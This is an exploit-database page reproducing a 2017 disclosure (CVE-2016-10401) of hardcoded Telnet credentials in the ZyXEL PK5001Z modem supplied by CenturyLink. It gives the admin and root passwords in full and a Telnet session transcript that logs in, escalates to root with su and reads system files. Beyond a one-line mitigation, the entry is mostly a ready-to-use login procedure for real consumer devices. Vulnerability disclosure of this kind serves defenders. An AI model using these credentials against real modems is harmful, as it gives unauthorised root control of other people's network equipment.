ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password

vendor:

PK5001Z

by:

Matthew Sheimo

8,8

CVSS

HIGH

Hardcoded Password

798

CWE

Product Name: PK5001Z

Affected Version From: PK5001Z 2.6.20.19

Affected Version To: PK5001Z 2.6.20.19

Patch Exists: NO

Related CWE: CVE-2016-10401

CPE: h:zyxel:pk5001z

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2017

ZyXEL PK5001Z Modem – CenturyLink Hardcoded admin and root Telnet Password

ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world. The modem has a hardcoded admin and root Telnet password which can be used to login via Telnet. The admin username is 'admin' and the password is 'CenturyL1nk'. The root password is 'zyad5001'.

Mitigation:

The user should change the default password of the modem and should not use the hardcoded password.

Source

Exploit-DB raw data:

# Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password.
# Google Dork: n/a
# Date: 2017-10-31
# Exploit Author: Matthew Sheimo
# Vendor Homepage: https://www.zyxel.com/
# Software Link: n/a
# Version: PK5001Z 2.6.20.19
# Tested on: Linux
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world. 
# Linked CVE's: CVE-2016-10401
 
 
Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet
 
username: admin
password: CenturyL1nk
 
Escalate to root with 'su' and this password.

password: zyad5001


[root:/]# telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

PK5001Z login: admin
Password: CenturyL1nk
$ whoami
admin_404A03Tel
$ su
Password: zyad5001
# whoami
root
# uname -a
Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown
# cat /etc/zyfwinfo
Vendor Name:                      ZyXEL Communications Corp.